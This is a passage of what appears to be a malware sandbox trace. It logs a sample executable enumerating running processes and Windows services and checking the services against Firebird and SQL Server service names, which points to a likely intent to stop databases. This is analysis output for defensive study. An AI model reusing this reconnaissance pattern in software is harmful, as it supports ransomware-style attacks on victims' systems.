lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.999] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.999] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0191.999] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0191.999] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.000] lstrlenW (lpString="svchost.exe") returned 11 [0192.000] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.000] lstrlenW (lpString="svchost.exe") returned 11 [0192.000] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0192.001] lstrlenW (lpString="dwm.exe") returned 7 [0192.001] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.001] lstrlenW (lpString="svchost.exe") returned 11 [0192.001] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.002] lstrlenW (lpString="svchost.exe") returned 11 [0192.002] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.003] lstrlenW (lpString="svchost.exe") returned 11 [0192.003] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.003] lstrlenW (lpString="svchost.exe") returned 11 [0192.003] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.004] lstrlenW (lpString="svchost.exe") returned 11 [0192.004] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.004] lstrlenW (lpString="svchost.exe") returned 11 [0192.004] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.005] lstrlenW (lpString="svchost.exe") returned 11 [0192.005] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.006] lstrlenW (lpString="svchost.exe") returned 11 [0192.006] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.006] lstrlenW (lpString="svchost.exe") returned 11 [0192.006] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.007] lstrlenW (lpString="svchost.exe") returned 11 [0192.007] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0192.007] lstrlenW (lpString="spoolsv.exe") returned 11 [0192.007] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.008] lstrlenW (lpString="svchost.exe") returned 11 [0192.008] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0192.008] lstrlenW (lpString="audiodg.exe") returned 11 [0192.008] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0192.009] lstrlenW (lpString="sihost.exe") returned 10 [0192.009] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0192.009] lstrlenW (lpString="svchost.exe") returned 11 [0192.009] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0192.010] lstrlenW (lpString="taskhostw.exe") returned 13 [0192.010] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0192.011] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0192.011] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0192.011] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0192.011] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0192.012] lstrlenW (lpString="Memory Compression") returned 18 [0192.012] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0192.012] lstrlenW (lpString="explorer.exe") returned 12 [0192.012] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0192.013] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0192.013] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0192.013] lstrlenW (lpString="SearchUI.exe") returned 12 [0192.013] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0192.014] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0192.014] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0192.014] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0192.014] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0192.015] lstrlenW (lpString="dllhost.exe") returned 11 [0192.015] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0192.015] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0192.016] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.016] lstrlenW (lpString="cmd.exe") returned 7 [0192.016] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfa8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0192.017] lstrlenW (lpString="cmd.exe") returned 7 [0192.017] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.017] lstrlenW (lpString="conhost.exe") returned 11 [0192.017] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0192.018] lstrlenW (lpString="conhost.exe") returned 11 [0192.018] Process32NextW (in: hSnapshot=0x338, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0192.019] CloseHandle (hObject=0x338) returned 1 [0192.019] Sleep (dwMilliseconds=0x1f4) [0192.855] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dcd8 [0192.855] EnumServicesStatusExW (in: hSCManager=0x69dcd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0192.856] GetLastError () returned 0xea [0192.856] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1bc4) returned 0x3295398 [0192.856] EnumServicesStatusExW (in: hSCManager=0x69dcd8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3295398, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3295398, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0192.857] CloseServiceHandle (hSCObject=0x69dcd8) returned 1 [0192.858] lstrlenW (lpString="Appinfo") returned 7 [0192.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0192.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0192.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0192.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0192.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0192.858] lstrlenW (lpString="AppXSvc") returned 7 [0192.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0192.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0192.858] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0192.858] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0192.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0192.858] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0192.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0192.858] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0192.858] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0192.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0192.858] lstrlenW (lpString="Audiosrv") returned 8 [0192.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0192.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0192.858] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0192.858] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0192.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0192.858] lstrlenW (lpString="BFE") returned 3 [0192.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0192.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0192.859] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0192.859] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0192.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0192.859] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0192.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0192.859] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0192.859] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0192.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0192.859] lstrlenW (lpString="CDPSvc") returned 6 [0192.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0192.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0192.859] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0192.859] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0192.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0192.859] lstrlenW (lpString="ClickToRunSvc") returned 13 [0192.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0192.859] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0192.859] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0192.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0192.859] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0192.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0192.859] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0192.859] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0192.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0192.860] lstrlenW (lpString="CryptSvc") returned 8 [0192.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0192.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0192.860] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0192.860] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0192.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0192.860] lstrlenW (lpString="DcomLaunch") returned 10 [0192.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0192.860] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0192.860] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0192.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0192.860] lstrlenW (lpString="DeviceAssociationService") returned 24 [0192.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0192.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0192.860] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0192.860] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0192.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0192.860] lstrlenW (lpString="Dhcp") returned 4 [0192.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0192.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0192.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0192.860] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0192.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0192.860] lstrlenW (lpString="Dnscache") returned 8 [0192.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0192.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0192.860] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0192.861] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0192.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0192.861] lstrlenW (lpString="DPS") returned 3 [0192.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0192.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0192.861] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0192.861] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0192.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0192.861] lstrlenW (lpString="DusmSvc") returned 7 [0192.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0192.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0192.861] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0192.861] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0192.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0192.861] lstrlenW (lpString="EventLog") returned 8 [0192.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0192.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0192.861] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0192.861] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0192.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0192.861] lstrlenW (lpString="EventSystem") returned 11 [0192.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0192.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0192.861] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0192.861] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0192.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0192.861] lstrlenW (lpString="FontCache") returned 9 [0192.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0192.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0192.862] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0192.862] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0192.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0192.862] lstrlenW (lpString="gpsvc") returned 5 [0192.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0192.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0192.862] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0192.862] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0192.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0192.862] lstrlenW (lpString="iphlpsvc") returned 8 [0192.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0192.862] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0192.862] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0192.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0192.862] lstrlenW (lpString="KeyIso") returned 6 [0192.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0192.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0192.862] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0192.863] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0192.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0192.863] lstrlenW (lpString="LanmanServer") returned 12 [0192.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0192.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0192.863] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0192.863] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0192.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0192.863] lstrlenW (lpString="LanmanWorkstation") returned 17 [0192.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0192.863] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0192.863] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0192.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0192.863] lstrlenW (lpString="lfsvc") returned 5 [0192.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0192.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0192.863] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0192.863] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0192.863] lstrcmpiW 